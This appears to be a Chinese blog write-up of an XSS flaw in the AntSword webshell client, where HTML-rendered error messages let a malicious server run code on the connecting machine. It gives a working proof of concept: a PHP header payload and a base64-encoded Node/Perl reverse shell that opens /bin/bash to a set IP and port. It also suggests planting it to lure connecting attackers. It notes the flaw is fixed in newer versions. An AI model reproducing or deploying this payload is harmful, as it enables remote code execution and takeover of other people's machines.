蟻劍xss漏洞,獲取***者shell

今日在github上看到蟻劍暴露了一個xss漏洞,自己也經常使用蟻劍。同時在freebuf上也有一篇文章,關於蟻劍漏洞的。閒着沒事測試了一波。

一、漏洞成因

蟻劍shell遠程連接失敗時,蟻劍會返回錯誤信息,但因爲使用的是html解析,導致xss漏洞。

用過蟻劍的童靴都清楚,當我們遠程連接寫好的webshell的時候,有時候可能因爲shell書寫錯誤或者鏈接填寫不當的時候,會出現大堆的錯誤代碼。
蟻劍xss漏洞,獲取***者shell

該信息並沒有進行 XSS 保護,因此能夠利用 js 調用 perl 便可反彈***者的shell

很多時候我們不去注意,但這裏恰恰就是漏洞利用點。(漏洞往往就在你的眼皮地下,你只要向下看看就能找到。可惜我們只向前看,不向下看。)

二、漏洞驗證

鑑於本人對js沒有深入瞭解,只懂得些皮毛。這裏就直接引用別人寫好的shell了

(1)驗證xss漏洞的存在

<?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>');?>

蟻劍xss漏洞,獲取***者shell

Head()函數,向客戶端發送原始的 HTTP 報頭。
當蟻劍遠程連接shell的時候就會觸發彈框。

(2)反彈***者shell

require('child_process').exec('perl -e \'use Socket;$i="192.168.80.151";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });

將這些代碼進行base64加密

cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7

構造header

<?php

header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>");
?>

將其寫入被***中的網站目錄下
蟻劍xss漏洞,獲取***者shell

被***機監聽1002端口
蟻劍xss漏洞,獲取***者shell

***機蟻劍遠程連接

蟻劍xss漏洞,獲取***者shell

獲得***者shell
蟻劍xss漏洞,獲取***者shell

在最新的版本中, 修改了 toastr 可以輸出 html 的特點,以後均不支持輸出 html。建議及時更新到最新版本

三、總結

如果你檢測到了自己被上傳了webshell,不妨可以試一試這個漏洞,對方如果使用的是蟻劍,當對方連接你的時候,也是他上線的時候。或者在比賽(zhen shi)環境的時候,故意製造一個這樣的shell,誘惑一些小可愛連一下。

參考鏈接:
https://github.com/AntSwordProject/antSword/issues/147

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章